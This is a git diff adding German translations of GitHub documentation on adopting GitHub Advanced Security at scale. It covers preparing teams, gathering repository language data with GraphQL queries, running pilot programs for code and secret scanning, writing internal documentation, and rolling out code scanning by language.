+#### 4. Benutzerdefinierte {% data variables.product.prodname_codeql %}-Abfragen werden von einigen Unternehmen verwendet, um Überprüfungsergebnisse anzupassen und gezielt zu erfassen 
+
+Die Codeüberprüfung wird von {% data variables.product.prodname_codeql %}, einer der weltweit leistungsfähigsten Codeanalyse-Engine, unterstützt. Für viele unserer Kunden sind die Basisabfragen und zusätzlichen in der Community verfügbaren Abfragen mehr als ausreichend. Andere Unternehmen benötigen jedoch möglicherweise benutzerdefinierte {% data variables.product.prodname_codeql %}-Abfragen, um andere Ergebnisse zu erzielen oder falsch positive Ergebnisse zu reduzieren.
+
+Wenn dein Unternehmen an benutzerdefinierten {% data variables.product.prodname_codeql %}-Abfragen interessiert ist, solltest du jedoch zunächst deinen Rollout und die Implementierung von GHAS abschließen. Wenn dein Unternehmen dann soweit ist, können {% data variables.product.prodname_professional_services %} dir helfen, deine Anforderungen zu bestimmen, um sicherzustellen, dass dein Unternehmen benutzerdefinierte Abfragen benötigt.  
+
+#### 5. Mit {% data variables.product.prodname_codeql %} werden nicht nur die in einem Pull Request vorgenommenen Änderungen, sondern die gesamte Codebasis überprüft
+
+Wenn die Codeüberprüfung über einen Pull Request ausgeführt wird, enthält die Überprüfung die gesamte Codebasis und nicht nur die Änderungen, die im Pull Request vorgenommen wurden. Das Überprüfen der gesamten Codebasis ist ein wichtiger Schritt, um sicherzustellen, dass die Änderung mit allen Interaktionen in der Codebasis in Einklang ist.
+
+{% note %}
+
+Den nächsten Artikel dieser Reihe findest du unter [Phase 2: Vorbereiten der Aktivierung nach Maß](/code-security/adopting-github-advanced-security-at-scale/phase-2-preparing-to-enable-at-scale).
+
+{% endnote %}
diff --git a/translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/phase-2-preparing-to-enable-at-scale.md b/translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/phase-2-preparing-to-enable-at-scale.md
new file mode 100644
index 0000000000..7a32d7c7f4
--- /dev/null
+++ b/translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/phase-2-preparing-to-enable-at-scale.md
@@ -0,0 +1,156 @@
+---
+title: "Phase\_2: Vorbereiten auf das Aktivieren im großen Stil"
+intro: 'In dieser Phase bereitest du Entwickler*innen vor und sammelst Daten zu deinen Repositorys, sodass deine Teams bereit sind und du über alles verfügst, das du für Pilotprogramme sowie für das Rollout der {% data variables.product.prodname_code_scanning %} und der {% data variables.product.prodname_secret_scanning %} benötigst.'
+versions:
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Advanced Security
+shortTitle: 2. Preparation
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 79368897c125ff23541520a253a34a2aae8c7c27
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109713'
+---
+{% note %}
+
+Dieser Artikel ist Teil einer Reihe zum Einführen von {% data variables.product.prodname_GH_advanced_security %} im großen Stil. Den vorherigen Artikel dieser Reihe findest du unter [Phase 1: Ausrichten auf die Rolloutstrategie und -ziele](/code-security/adopting-github-advanced-security-at-scale/phase-1-align-on-your-rollout-strategy-and-goals).
+
+{% endnote %}
+
+## Vorbereiten auf das Aktivieren der {% data variables.product.prodname_code_scanning %}
+ 
+{% data reusables.code-scanning.about-code-scanning %} Weitere Informationen findest du unter [Informationen zur Codeüberprüfung](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning).
+
+Das Rollout der {% data variables.product.prodname_code_scanning %} hunderte von Repositorys übergreifend kann eine Herausforderung darstellen, besonders dann, wenn es ineffizient erfolgt. Wenn du die folgenden Schritte befolgst, wird dein Rollout sowohl effizient als auch erfolgreich. Als Teil der Vorbereitung arbeitest du in Teams, verwendest Automatisierung zum Sammeln von Daten zu deinen Repositorys und aktivierst die {% data variables.product.prodname_code_scanning %}. 
+
+### Vorbereiten von Teams auf die {% data variables.product.prodname_code_scanning %}
+
+Bereite deine Teams zunächst darauf vor, die {% data variables.product.prodname_code_scanning %} zu verwenden. Je mehr Teams die {% data variables.product.prodname_code_scanning %} nutzen, desto mehr Daten können für Wartungspläne und zum Überwachen des Fortschritts bei deinem Rollout verwendet werden. Konzentriere dich in dieser Phase auf das Nutzen von APIs und das Ausführen von internen Aktivierungen.
+
+Dein Hauptfokus sollte auf dem Vorbereiten möglichst vieler Teams auf das Verwenden der {% data variables.product.prodname_code_scanning %} liegen. Du kannst die Teams auch dazu ermutigen, entsprechende Wartungen vorzunehmen. Es wird jedoch empfohlen, in dieser Phase das Aktivieren und Verwenden der {% data variables.product.prodname_code_scanning %} gegenüber dem Lösen von Problemen zu priorisieren.
+  
+### Sammeln von Informationen zu deinen Repositorys
+
+Du kannst programmgesteuert Informationen zu verschiedenen Programmiersprachen sammeln, die in deinen Repositorys verwendet werden, und diese Daten zum Aktivieren der {% data variables.product.prodname_code_scanning %} mithilfe der GraphQL-API von {% data variables.product.product_name %} in allen Repositorys nutzen, die dieselbe Sprache verwenden.
+
+{% note %}
+
+**Hinweis:** Um diese Daten zu sammeln, ohne die in diesem Artikel beschriebenen GraphQL-Abfragen manuell auszuführen, kannst du unser öffentlich verfügbares Tool verwenden. Weitere Informationen findest du im [„ghas-enablement“-Tool](https://github.com/NickLiffen/ghas-enablement)-Repository.
+
+{% endnote %}
+
+Wenn du Informationen aus Repositorys sammeln möchtest, die mehreren Organisationen in deinem Unternehmen gehören, kannst du die untenstehende Abfrage zum Abrufen der Namen deiner Organisation verwenden und sie dann in die Repositoryabfrage eingeben. Ersetze „OCTO-ENTERPRISE“ durch deinen Unternehmensnamen.
+
+```graphql
+query {
+  enterprise(slug: "OCTO-ENTERPRISE") {
+    organizations(first: 100) {
+      totalCount
+      nodes {
+        name
+      }
+      pageInfo {
+        endCursor
+        hasNextPage
+      }
+    }
+  }
+}
+```
+
+Indem du die Repositorys auf Organisationsebene nach Sprache sortierst, kannst du ermitteln, welche Repositorys welche Sprachen verwenden. Du kannst die nachstehende Beispiel-GraphQL-Abfrage ändern, indem du „OCTO-ORG“ durch den Namen der Organisation ersetzt.
+
+```graphql
+query {
+  organization(login: "OCTO-ORG") { 
+    repositories(first: 100) {
+      totalCount
+      nodes {
+        nameWithOwner
+        languages(first: 100) {
+          totalCount
+          nodes {
+            name
+          }
+        }
+      }
+      pageInfo {
+        endCursor
+        hasNextPage
+      }
+    }
+  }
+}
+```
+
+Weitere Informationen zum Ausführen von GraphQL-Abfragen findest du unter [Erstellen von Aufrufen mit GraphQL](/graphql/guides/forming-calls-with-graphql).
+
+Konvertiere dann die Daten aus der GraphQL-Abfrage in ein lesbares Format, z. B. eine Tabelle.
+
+| Sprache                | Anzahl der Repositorys | Name der Repositorys                           |
+|-------------------------|-----------------|-----------------------------------------|
+| JavaScript (TypeScript) | 4212            | org/repo<br /> org/repo |
+| Python                  | 2012            | org/repo<br /> org/repo |
+| Go                      | 983             | org/repo<br /> org/repo |
+| Java                    | 412             | org/repo<br /> org/repo |
+| Swift                   | 111             | org/repo<br /> org/repo |
+| Kotlin                  | 82              | org/repo<br /> org/repo |
+| C                       | 12              | org/repo<br /> org/repo |
+
+Du kannst die aktuell nicht von {% data variables.product.prodname_GH_advanced_security %} unterstützten Sprachen aus dieser Tabelle herausfiltern.
+
+Wenn du über Repositorys mit mehreren Sprachen verfügst, kannst du die GraphQL-Ergebnisse wie in der nachstehenden Tabelle dargestellt formatieren. Filtere Sprachen heraus, die nicht unterstützt werden, behalte jedoch alle Repositorys mit mindestens einer unterstützten Sprache. Du kannst die {% data variables.product.prodname_code_scanning %} für diese Repositorys aktivieren, und alle unterstützten Sprachen werden überprüft.
+
+| Sprache(n)            | Anzahl der Repositorys | Name der Repositorys                            |
+|------------------------|-----------------|------------------------------------------|
+| JavaScript/Python/Go   | 16              | org/repo <br /> org/repo |
+| Rust/TypeScript/Python | 12              | org/repo <br /> org/repo |
+
+Wenn du weißt, welche Repositorys welche Sprachen verwenden, kannst du mögliche Repositorys für Pilotprogramme in Phase 3 leichter ermitteln und dich besser auf das repositoryübergreifende Aktivieren der {% data variables.product.prodname_code_scanning %} in Phase 5 vorbereiten, das eine Sprache nach der anderen erfolgt.
+
+{% ifversion ghes %}
+
+### Aktivieren der {% data variables.product.prodname_code_scanning %} für deine Appliance
+
+Bevor du mit Pilotprogrammen und dem Rollout der {% data variables.product.prodname_code_scanning %} in deinem Unternehmen fortfahren kannst, musst du zuerst die {% data variables.product.prodname_code_scanning %} für deine Appliance aktivieren. Weitere Informationen findest du unter [Konfigurieren der Codeüberprüfung für deine Appliance](/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance).
+
+{% endif %}
+
+## Vorbereiten auf das Aktivieren der {% data variables.product.prodname_secret_scanning %}
+
+Bei der Kommunikation zwischen einem Projekt und einem externen Dienst wird ein Token oder ein privater Schlüssel zur Authentifizierung verwendet. Wenn du ein Geheimnis in ein Repository einfügst, kann jedermann mit Lesezugriff auf das Repository das Geheimnis verwenden, um mit deinen Privilegien auf den externen Dienst zuzugreifen. Die {% data variables.product.prodname_secret_scanning_caps %} überprüft deinen gesamten Gitverlauf auf allen vorhandenen Branches in deinen Repositorys von {% data variables.product.prodname_dotcom %} auf Geheimnisse und warnt dich{% ifversion secret-scanning-push-protection %} oder blockiert den Push mit dem Geheimnis{% endif %}. Weitere Informationen findest du unter [Informationen zur Geheimnisüberprüfung](/code-security/secret-scanning/about-secret-scanning).
+
+### Überlegungen beim Aktivieren der {% data variables.product.prodname_secret_scanning %}
+
+Die {% data variables.product.prodname_secret_scanning %}-Funktion von {% data variables.product.product_name %} unterscheidet sich etwas von der {% data variables.product.prodname_code_scanning %}, da sie keine besondere Konfiguration nach Programmiersprache oder Repository bzw. allgemein weniger Konfigurationen benötigt. Dies bedeutet, dass das Aktivieren der {% data variables.product.prodname_secret_scanning %} auf Organisationsebene leicht sein kann. **Alle aktivieren** auf Organisationsebene anzuklicken und einen Haken bei der Option **{% data variables.product.prodname_secret_scanning %} für jedes neue Repository automatisch aktivieren** zu setzen, hat einige Downstreamauswirkungen, denen du dir bewusst sein solltest:
+
+- **Lizenzverbrauch**  
+  Das Aktivieren der {% data variables.product.prodname_secret_scanning %} für alle Repositorys verbraucht alle Ihre Lizenzen, auch wenn keine Codeüberprüfung verwendet wird. Solange du die Anzahl der aktiven Entwickler*innen in deiner Organisation nicht erhöhen möchtest, ist dies in Ordnung. Wenn die Anzahl der aktiven Entwickler*innen in den nächsten Monaten wahrscheinlich ansteigt, könntest du deine Lizenzgrenze überschreiten, sodass du dann {% data variables.product.prodname_GH_advanced_security %} nicht mehr für neu erstellte Repositorys verwenden kannst.
+- **Anfängliches hohes Volumen erkannter Geheimnisse**  
+  Wenn du die {% data variables.product.prodname_secret_scanning %} für eine große Organisation aktivierst, findest du eine hohe Anzahl an Geheimnissen. Manchmal sind Organisationen damit überfordert, und der Alarm wird ausgelöst. Wenn du die {% data variables.product.prodname_secret_scanning %} für alle Repositorys gleichzeitig aktivieren möchtest, solltest du planen, wie du auf mehrere Warnungen in der Organisation reagieren wirst.
+
+{% data variables.product.prodname_secret_scanning_caps %} können für einzelne Repositorys aktiviert werden. Weitere Informationen findest du unter [Konfigurieren von {% data variables.product.prodname_secret_scanning %} für deine Repositorys](/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories). {% data variables.product.prodname_secret_scanning_caps %} können, wie oben beschrieben, auch für alle Repositorys in deiner Organisation aktiviert werden. Weitere Informationen zum Aktivieren für alle Repositorys findest du unter [Verwalten der Sicherheits- und Analyseeinstellungen für deine Organisation](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization).
+
+### Benutzerdefinierte Muster für die {% data variables.product.prodname_secret_scanning %}
+
+{% ifversion ghae %} {% note %}
+
+**Hinweis:** Benutzerdefinierte Muster für {% data variables.product.prodname_secret_scanning %} liegen derzeit in der Betaversion vor und können geändert werden.
+
+{% endnote %} {% endif %}
+
+{% data variables.product.prodname_secret_scanning_caps %} erkennen eine große Anzahl an Standardmustern, können jedoch auch so konfiguriert werden, dass sie benutzerdefinierte Muster finden. Dazu gehören z. B. Geheimnisformate, die nur in deiner Infrastruktur zu finden sind, oder von Integratoren verwendet werden, die die {% data variables.product.prodname_secret_scanning %} von {% data variables.product.product_name %} aktuell nicht erkennt. Weitere Informationen zu unterstützten Geheimnissen für Partnermuster findest du unter [Geheimnisüberprüfungsmuster](/code-security/secret-scanning/secret-scanning-patterns). 
+
+Erstelle eine Liste mit Geheimnistypen, wenn du Repositorys überwachst und mit Sicherheits- und Entwicklerteams sprichst, die du später zum Konfigurieren von benutzerdefinierten Mustern für die {% data variables.product.prodname_secret_scanning %} verwenden kannst. Weitere Informationen findest du unter [Definieren benutzerdefinierter Muster für Geheimnisüberprüfungen](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning).
+
+
+{% note %}
+
+Den nächsten Artikel in dieser Reihe findest du unter [Phase 3: Pilotprogramme](/code-security/adopting-github-advanced-security-at-scale/phase-3-pilot-programs).
+
+{% endnote %}
diff --git a/translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/phase-3-pilot-programs.md b/translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/phase-3-pilot-programs.md
new file mode 100644
index 0000000000..bbeebf0b16
--- /dev/null
+++ b/translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/phase-3-pilot-programs.md
@@ -0,0 +1,91 @@
+---
+title: 'Phase 3: Pilotprogramme'
+intro: 'Es kann von Vorteil sein, wenn du mit einigen wenigen Projekten und Teams beginnst, die eine hohe Relevanz haben und mit denen du in einem Pilotprogramm einen ersten Rollout durchführst. Dies ermöglicht es einer ersten Gruppe in deinem Unternehmen, sich mit GHAS vertraut zu machen, zu erfahren, wie GHAS aktiviert und konfiguriert wird, und eine solide Grundlage für GHAS zu erstellen, bevor du den Rollout für den Rest deines Unternehmens durchführst.'
+versions:
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Advanced Security
+shortTitle: 3. Pilot programs
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: d56427173580558a192d0709ae700cbd497e2935
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108490'
+---
+{% note %}
+
+Dieser Artikel ist Teil einer Reihe zur Einführung von {% data variables.product.prodname_GH_advanced_security %} nach Maß. Den vorherigen Artikel dieser Reihe findest du unter [Phase 2: Vorbereiten der Aktivierung nach Maß](/code-security/adopting-github-advanced-security-at-scale/phase-2-preparing-to-enable-at-scale).
+
+{% endnote %}
+
+## Informationen zu Pilotprogrammen
+
+Wir empfehlen dir, einige besonders relevante Projekte oder Teams für einen Pilotrollout von GHAS zu bestimmen. So kann sich eine erste Gruppe innerhalb deines Unternehmens mit GHAS vertraut machen und eine solide Grundlage für GHAS schaffen, ehe du den Rollout auf den Rest deines Unternehmens ausweitest.
+
+Mit den Schritten in dieser Phase kannst du GHAS in deinem Unternehmen aktivieren, mit der Nutzung seiner Features beginnen und deine Ergebnisse überprüfen. Wenn du mit {% data variables.product.prodname_professional_services %} arbeitest, können sie durch diesen Prozess zusätzliche Unterstützung durch Onboarding-Sitzungen, GHAS-Workshops und Problembehandlung bei Bedarf bereitstellen.
+
+Bevor du mit deinen Pilotprojekten beginnst, empfehlen wir, einige Besprechungen mit deinen Teams zu planen, z. B. eine erste Besprechung, eine Überprüfung zur Projekthalbzeit und eine Abschlusssitzung, wenn der Pilot abgeschlossen ist. Diese Besprechungen helfen allen, bei Bedarf Anpassungen vorzunehmen und sicherzustellen, dass deine Teams vorbereitet sind und unterstützt werden, um den Piloten erfolgreich abzuschließen.
+
+{% ifversion ghes %}
+
+Wenn du GHAS für deine {% data variables.product.prodname_ghe_server %}-Instanz noch nicht aktiviert hast, lies [Aktivieren von GitHub Advanced Security für dein Unternehmen](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise).
+
+{% endif %}
+
+Du musst GHAS für jedes Pilotprojekt aktivieren, entweder durch Aktivieren des GHAS-Features für jedes Repository oder für alle Repositorys in allen Organisationen, die an dem Pilotprojekt teilnehmen. Weitere Informationen findest du unter [Verwalten von Sicherheits- und Analyseeinstellungen für dein Repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository) oder [Verwalten von Sicherheits- und Analyseeinstellungen für deine Organisation](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization).
+
+## Pilotprojekt für {% data variables.product.prodname_code_scanning %}
+
+{% ifversion ghes %}
+
+Informationen zum Aktivieren von {% data variables.product.prodname_code_scanning %} für deine {% data variables.product.prodname_ghe_server %}-Instanz findest du unter [Konfigurieren der Codeüberprüfung für deine Appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance).
+
+{% elsif ghae %}
+
+Um {% data variables.product.prodname_code_scanning %} mit {% data variables.product.prodname_actions %} zu aktivieren, musst du Runner für die Ausführung von Workflows in {% data variables.product.prodname_ghe_managed %} zur Verfügung stellen. Weitere Informationen findest du unter [Erste Schritte mit {% data variables.product.prodname_actions %} für {% data variables.product.prodname_ghe_managed %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae).
+
+{% endif %}
+
+Du kannst Codeüberprüfungen für ein Repository durchführen, indem du einen {% data variables.product.prodname_actions %}-Workflow zum Ausführen der [CodeQL-Aktion](https://github.com/github/codeql-action/) erstellst. {% ifversion ghec %}{% data variables.product.prodname_code_scanning_capc %} verwendet standardmäßig [von GitHub gehostete Runner](/actions/using-github-hosted-runners/about-github-hosted-runners). Dies kann jedoch angepasst werden, wenn du planst, deinen eigenen Runner mit deinen eigenen Hardwarespezifikationen zu hosten. Weitere Informationen findest du unter [Informationen zu selbstgehosteten Runnern](/actions/hosting-your-own-runners).{% endif %}
+
+Weitere Informationen zu {% data variables.product.prodname_actions %} findest du unter:
+  - [Informationen zu GitHub Actions](/actions/learn-github-actions)
+  - [Grundlegendes zu GitHub Actions](/actions/learn-github-actions/understanding-github-actions)
+  - [Ereignisse, die Workflows auslösen](/actions/learn-github-actions/events-that-trigger-workflows)
+  - [Spickzettel zu Filtermustern](/actions/learn-github-actions/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet)
+
+Wir empfehlen, {% data variables.product.prodname_code_scanning %} im Rahmen deines Pilotprogramms für alle einzelnen Repositorys zu aktivieren. Weitere Informationen findest du unter [Einrichten der Codeüberprüfung für ein Repository](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository).
+
+Wenn du die Codeüberprüfung für viele Repositorys aktivieren möchtest, solltest du ein Skript für den Prozess schreiben.
+
+Ein Beispiel für ein Skript, das Pull Requests öffnet, um einen {% data variables.product.prodname_actions %}-Workflow zu mehreren Repositorys hinzuzufügen, findest du im [`jhutchings1/Create-ActionsPRs`](https://github.com/jhutchings1/Create-ActionsPRs)-Repository für ein Beispiel mit PowerShell oder [`nickliffen/ghas-enablement`](https://github.com/NickLiffen/ghas-enablement) für Teams, die keine PowerShell haben und stattdessen NodeJS verwenden möchten.
+
+Beim Ausführen der ersten Codeüberprüfungen kannst du feststellen, dass keine Ergebnisse gefunden werden oder dass eine ungewöhnliche Anzahl von Ergebnissen zurückgegeben wird. Es kann ratsam sein, das anzupassen, was in zukünftigen Überprüfungen gekennzeichnet wird. Weitere Informationen findest du unter [Konfigurieren der Codeüberprüfung](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning).
+
+Wenn dein Unternehmen andere Tools für die Codeanalyse von Drittanbietern mit der GitHub-Codeüberprüfung verwenden möchte, kannst du Aktionen verwenden, um diese Tools innerhalb von GitHub auszuführen. Alternativ kannst du Ergebnisse, die von Drittanbietertools als SARIF-Dateien generiert werden, in die Codeüberprüfung hochladen. Weitere Informationen findest du unter [Integrieren der Codeüberprüfung](/code-security/code-scanning/integrating-with-code-scanning).
+
+## Durchführen eines Pilotprojekts für {% data variables.product.prodname_secret_scanning %}
+
+GitHub durchsucht Repositorys nach bekannten Geheimnistypen, um die betrügerische Verwendung von Geheimnissen zu verhindern, die versehentlich committet wurden.
+
+{% ifversion ghes %}
+
+Informationen zum Aktivieren der Überprüfung von Geheimnissen für deine {% data variables.product.prodname_ghe_server %}-Instanz findest du unter [Konfigurieren von Geheimnisüberprüfung für deine Appliance](/admin/advanced-security/configuring-secret-scanning-for-your-appliance).
+
+{% endif %}
+
+Du musst die Überprüfung von Geheimnissen für jedes Pilotprojekt aktivieren, entweder durch Aktivieren des Features für jedes Repository oder für alle Repositorys in allen Organisationen, die an dem Projekt teilnehmen. Weitere Informationen findest du unter [Verwalten von Sicherheits- und Analyseeinstellungen für dein Repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository) oder [Verwalten von Sicherheits- und Analyseeinstellungen für deine Organisation](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization).
+
+Wenn du benutzerdefinierte Muster für dein Unternehmen gesammelt hast, insbesondere solche, die mit den Pilotprojekten für {% data variables.product.prodname_secret_scanning %} zusammenhängen, kannst du diese konfigurieren. Weitere Informationen findest du unter [Definieren benutzerdefinierter Muster für Geheimnisüberprüfungen](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning).
+
+Informationen zum Anzeigen und Schließen von Warnungen für Geheimnisse, die in deinem Repository eingecheckt sind, findest du unter [Verwalten von Warnungen aus der Geheimnisüberprüfung](/code-security/secret-scanning/managing-alerts-from-secret-scanning).
+
+{% note %}
+
+Den nächsten Artikel in dieser Reihe findest du unter [Phase 4: Erstellen interner Dokumentation](/code-security/adopting-github-advanced-security-at-scale/phase-4-create-internal-documentation).
+
+{% endnote %}
diff --git a/translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/phase-4-create-internal-documentation.md b/translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/phase-4-create-internal-documentation.md
new file mode 100644
index 0000000000..9582aa74f6
--- /dev/null
+++ b/translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/phase-4-create-internal-documentation.md
@@ -0,0 +1,37 @@
+---
+title: 'Phase 4: Erstellen interner Dokumentation'
+intro: 'Du erstellst interne Dokumentation und informierst dann die {% data variables.product.prodname_GH_advanced_security %}-Benutzer darüber.'
+versions:
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Advanced Security
+shortTitle: 4. Create internal documentation
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: caf35f06c3f836ea7532b7c5e9dfb419ba8c325b
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108487'
+---
+{% note %}
+
+Dieser Artikel ist Teil einer Reihe zur Einführung von {% data variables.product.prodname_GH_advanced_security %} nach Maß. Den vorherigen Artikel in dieser Reihe findest du unter [Phase 3: Pilotprogramme](/code-security/adopting-github-advanced-security-at-scale/phase-3-pilot-programs).
+
+{% endnote %}
+
+Ehe du {% data variables.product.prodname_GH_advanced_security %} aktivierst, solltest du interne Dokumentation erstellen, in der die Prozesse beschrieben sind, die die Teams befolgen sollen. Jeder muss wissen, was zu tun ist, wenn er eine Sicherheitswarnung erhält, auch wenn der Prozess das Team nur auffordert, sein eigenes Urteilsvermögen heranzuziehen. Die Dokumentation verhindert auch, dass Entwickler blockiert werden, sobald sie Fragen haben. Du solltest die Dokumentation zu GHAS zusammen mit der vorhandenen, für Entwickler bestimmten Dokumentation in dein Entwicklerportal oder deine benutzerdefinierte Wissensdatenbank aufnehmen.
+
+Wenn du Pilotprogramme durchgeführt hast, nutze die Erfahrungen und das Feedback der an diesen Pilotprojekten beteiligten Teams für deine Dokumentation. Dies ist besonders nützlich, wenn du auf Probleme gestoßen bist, die speziell für dein Unternehmen gelten und auf die wahrscheinlich auch andere Teams stoßen werden.
+
+Wenn du es versäumst, interne Dokumentation zu erstellen, wird dein Rollout nicht im von dir gewünschten Tempo verlaufen. Die Erstellung interner Dokumentation kann den anfänglichen Rollout um ein oder zwei Wochen verzögern, aber diese Zeit wird wieder aufgeholt, wenn die Entwickler ihre Fragen selbst beantworten können, anstatt sich an dein Team zu wenden.
+
+Die Schulung ist wahrscheinlich der wichtigste Teil des Rollouts, da sie den Entwicklern vermittelt, was in verschiedenen Situationen zu tun ist. Du solltest sicherstellen, dass die Entwickler in der Lage sind, die Sicherheit ihres Repositorys zu gewährleisten, und dass das Sicherheitsteam befugt ist, sowohl zu überprüfen, was Entwickler tun, als auch, ob es im besten Interesse im Hinblick auf Sicherheit ist. Zusätzlich zur internen Dokumentation kann die Schulung in Form von Onlinesitzungen, Q&As, usw. erfolgen.
+
+{% note %}
+
+Den nächsten Artikel in dieser Reihe findest du unter [Phase 5: Rollout und Skalierung der Codeüberprüfung](/code-security/adopting-github-advanced-security-at-scale/phase-5-rollout-and-scale-code-scanning).
+
+{% endnote %}
diff --git a/translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/phase-5-rollout-and-scale-code-scanning.md b/translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/phase-5-rollout-and-scale-code-scanning.md
new file mode 100644
index 0000000000..f333022b65
--- /dev/null
+++ b/translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/phase-5-rollout-and-scale-code-scanning.md
@@ -0,0 +1,61 @@
+---
+title: "Phase\_5: Rollout und Skalierung der Codeüberprüfung"
+intro: 'Du kannst die verfügbaren APIs nutzen, um den Rollout von {% data variables.product.prodname_code_scanning %} programmgesteuert nach Team und Sprache in deinem Unternehmen vorzunehmen, indem du die zuvor gesammelten Repositorydaten nutzt.'
+versions:
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Advanced Security
+shortTitle: 5. Rollout code scanning
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: abbcdf4c1e4a231a568e8d8cd488877ebdf2fd9f
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108486'
+---
+{% note %}
+
+Dieser Artikel ist Teil einer Reihe zur Einführung von {% data variables.product.prodname_GH_advanced_security %} nach Maß. Den vorherigen Artikel in dieser Reihe findest du unter [Phase 4: Erstellen interner Dokumentation](/code-security/adopting-github-advanced-security-at-scale/phase-4-create-internal-documentation).
+
+{% endnote %}
+
+### Aktivieren der Codeüberprüfung
+
+Mit den Daten, die du in [Phase 2](/code-security/adopting-github-advanced-security-at-scale/phase-2-preparing-to-enable-at-scale) gesammelt hast, kannst du zunächst GHAS und dann {% data variables.product.prodname_code_scanning %} für deine Repositorys aktivieren, jeweils für eine bestimmte Sprache. Die Schritte im Prozess zur Aktivierung von GHAS sind wie folgt:
+
+1. Aktiviere GHAS für das Repository. Weitere Informationen findest du unter [Verwalten von Sicherheits- und Analyseeinstellungen für dein Repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository).
+1. Erstelle einen Pull Request für den Standardbranch des Repositorys mit der Datei `codeql-analysis.yml`, die ein Beispiel für die Ausführung von CodeQL für die jeweilige Sprache enthält. Weitere Informationen findest du unter [Erstellen eines Pull Requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request).
+1. Erstelle ein Issue im Repository, um zu erklären, warum ein Pull Request ausgelöst wurde. Das Issue, das du erstellst, kann einen Link zur vorherigen Mitteilung enthalten, die an alle Benutzer gesendet wurde. Es kann aber auch erklären, welche Änderungen der Pull Request einführt, welche nächsten Schritte das Team unternehmen muss, welche Zuständigkeiten das Team hat und wie das Team {% data variables.product.prodname_code_scanning %} nutzen sollte. Weitere Informationen findest du unter [Erstellen eines Issues](/issues/tracking-your-work-with-issues/creating-an-issue).
+
+Es gibt mit [ghas-enablement](https://github.com/NickLiffen/ghas-enablement) ein öffentlich verfügbares Tool, mit dem die ersten beiden Schritte erledigt werden können. Du kannst das Tool ghas-enablement in Batches von Sprachen erneut ausführen, sofern dies sinnvoll ist. Beispielsweise weisen JavaScript, TypeScript, Python und Go einen vergleichbaren Buildprozess auf, sodass dafür eine ähnliche CodeQL-Analysedatei verwendet werden kann. Das Tool ghas-enablement kann auch für Sprachen wie Java, C und C++ zum Einsatz kommen. Da diese Sprachen jedoch sehr unterschiedliche Build- und Kompilierungsverfahren aufweisen, musst du möglicherweise spezifischere CodeQL-Analysedateien erstellen.
+
+{% note %}
+
+**Hinweis**: Wenn du vorhast, {% data variables.product.prodname_actions %} mithilfe von {% data variables.product.prodname_code_scanning %} zu steuern, ohne auf das Tool [ghas-enablement](https://github.com/NickLiffen/ghas-enablement) zurückzugreifen, beachte, dass kein API-Zugriff auf das Verzeichnis `.github/workflow` möglich ist. Das bedeutet, dass du ein Skript nicht ohne einen Git-Client erstellen kannst, der der Automatisierung zugrunde liegt. Die Umgehung besteht darin, Bash-Skripts auf einem Computer oder in einem Container mit einem Git-Client zu nutzen. Der Git-Client kann Dateien in das Verzeichnis `.github/workflows` mit der Datei `codeql-analysis.yml` pushen und pullen.
+
+{% endnote %}
+
